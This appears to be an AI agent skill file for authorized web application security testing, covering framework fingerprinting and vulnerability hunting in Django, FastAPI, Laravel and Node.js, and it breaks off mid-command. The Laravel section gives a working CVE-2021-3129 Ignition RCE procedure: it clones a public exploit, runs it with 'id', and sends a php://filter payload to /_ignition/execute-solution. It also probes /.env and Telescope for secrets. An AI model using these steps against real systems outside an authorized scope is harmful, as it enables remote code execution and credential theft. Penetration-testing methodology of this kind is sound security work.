hunt-frameworks – Coding skill for AI agents

Framework-Specific Hunting (Django, FastAPI, Laravel, Node.js)

Parameterized consolidation of the former hunt-django, hunt-fastapi,

hunt-laravel, and hunt-nodejs skills. Pick the section matching the

fingerprinted framework; the techniques inside each section are unchanged.

When to Use

• The target is fingerprinted as Django/DRF (csrftoken, /admin/, DRF browsable API), FastAPI (/docs, 422 detail arrays), Laravel (XSRF-TOKEN/laravel_session cookies, Ignition pages), or Node.js/Express (X-Powered-By, EJS/Pug artifacts).
• You need framework-specific sinks rather than generic API testing.

Prerequisites

• Explicit authorization, target boundaries, and rate limits for the target.
• Tooling: curl, jq, python3; framework extras as noted per section (phpggc for Laravel, Node runtime for gadget checks).
• A writable evidence directory: export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR".
• For any state-changing step (registration, PATCH loops, uploads, command-execution probes), obtain explicit confirmation immediately before the command.

How to Run

Fingerprint first, then jump to the matching section:

TARGET="https://target.example"
curl --max-time 10 -sI "$TARGET" | grep -iE "x-powered-by|set-cookie|server"
curl --max-time 10 -sk "$TARGET/docs" -o /dev/null -w "fastapi docs: %{http_code}\n"
curl --max-time 10 -sk "$TARGET/admin/login/" -o /dev/null -w "django admin: %{http_code}\n"
curl --max-time 10 -sk "$TARGET/ignition/health-check" -o /dev/null -w "laravel ignition: %{http_code}\n"

Procedure

Read the framework selection table, then follow the phases of the matching

section. Every section keeps its own pitfalls and verification notes.

| Framework | Hunt first | Hunt second |

|---|---|---|

| Django/DRF | IDOR via ModelViewSet without object perms | SSTI via mark_safe |

| FastAPI | OpenAPI-mined hidden routes, dependency-injection auth gaps | Pydantic extra-field mass assignment |

| Laravel | Ignition debug RCE preconditions, .env/APP_KEY | Eloquent mass assignment |

| Node.js | Prototype pollution to RCE | trust proxy IP spoofing, SSTI in EJS/Pug |

---

Django

Hunt Django-specific vulnerabilities focusing on Django REST Framework (DRF) permission class gaps, ORM raw query injection, template injection via |safe and mark_safe, and Django admin panel exploitation. Django's batteries-included approach creates unique attack surface: admin interface, ORM query building, DRF serializers, Channels WebSockets, and Celery task queues.

Quick Detection

### Django fingerprinting
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/admin/login/" | grep -iE "csrftoken|sessionid|django"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com" | grep -Eo 'csrftoken|__debug__|django'

Pitfalls

• DRF AllowAny ≠ misconfiguration. Verify the endpoint is supposed to be public before reporting.
• Django admin brute force is heavily logged. Use with caution on production targets.
• Template injection requires a sink. Django's template engine auto-escapes by default — |safe or mark_safe must be explicitly used.
• SECRET_KEY must be actually leaked. Guessing or brute-forcing SECRET_KEY is computationally infeasible.

Verification

1. DRF endpoint without IsAuthenticated returns data that should be restricted.

2. ORM raw query injection produces a database error or data exfiltration.

3. Django admin session cookie decoded successfully reveals user ID and session data.

4. Template injection executes JavaScript or reads server files.

Related Skills

• hunt-sqli — Django ORM raw query injection chains to full SQL injection.
• hunt-ssti — Django template injection via user-controlled template names.
• hunt-idor — DRF permission gaps leading to object-level access.

---

FastAPI

Hunt FastAPI-specific vulnerabilities in dependency injection authorization gaps, Pydantic model coercion and extra field exploitation, OpenAPI schema mining for hidden endpoints, and ASGI middleware bypasses. FastAPI's design — dependency injection for auth, Pydantic for validation, OpenAPI auto-generation — creates unique attack surface distinct from Flask or Django.

Quick Detection

### FastAPI fingerprinting
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/openapi.json" | jq '.info.title' 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/docs" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/redoc" -w "%{http_code}\n" -o /dev/null

Pitfalls

• Pydantic v2 model_config with extra='ignore' silently drops unknown fields. Test both Pydantic v1 and v2 behavior.
• OpenAPI schema may be restricted. If /openapi.json returns 403, try /docs and /redoc which serve the same data.
• FastAPI Depends with Security is NOT the same as Depends. Security integrates with OpenAPI security schemes — but both can be misconfigured.
• Uvicorn --proxy-headers must be enabled for IP spoofing to work. Check with X-Forwarded-For — if the server sees your real IP, proxy headers are disabled.

Verification

1. OpenAPI schema reveals endpoints not documented in the public API docs.

2. An endpoint with Depends(get_current_user) accepts requests without any Authorization header.

3. Pydantic type coercion accepts string values for boolean/integer fields and persists them.

4. WebSocket endpoint accepts connections without session authentication while the REST equivalent requires it.

Related Skills

• hunt-api-misconfig — Broader API configuration issues including Swagger/OpenAPI exposure.
• hunt-idor — Object-level authorization gaps in FastAPI path parameters.
• source-leak-hunt — Directory and endpoint discovery through OpenAPI schema mining.

---

Laravel

Crown Jewel Targets

Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).

Highest-value findings:

• Ignition RCE (CVE-2021-3129) — APP_DEBUG=true + Laravel < 8.4.2 → /_ignition/execute-solution RCE without auth
• Telescope dashboard — /telescope exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
• Horizon dashboard — /horizon exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
• Signed URL manipulation — if URL::signedRoute validates wrong params → bypass signed URL → unauthorized actions
• .env exposure — APP_KEY leaked → decrypt all encrypted cookies → forge session → ATO

---

Phase 1 — Fingerprint Laravel

### Laravel-specific indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"

### Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
  STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
done

### Check error page (trigger 404)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"

---

Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)

### Step 1: Check if debug mode is enabled (Whoops error page)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"

### If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

### Step 2: Check Ignition endpoint
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_ignition/health-check" | head -5

### Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
### (Requires debug mode + writable storage/logs)
### Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"

### Manual test — send solution request
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
      "variableName": "x",
      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    }
  }'

---

Phase 3 — Laravel Telescope & Horizon

### Telescope — request/response logs, DB queries, jobs, cache, events
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl --max-time 30 --connect-ti

… (full content is in the download package)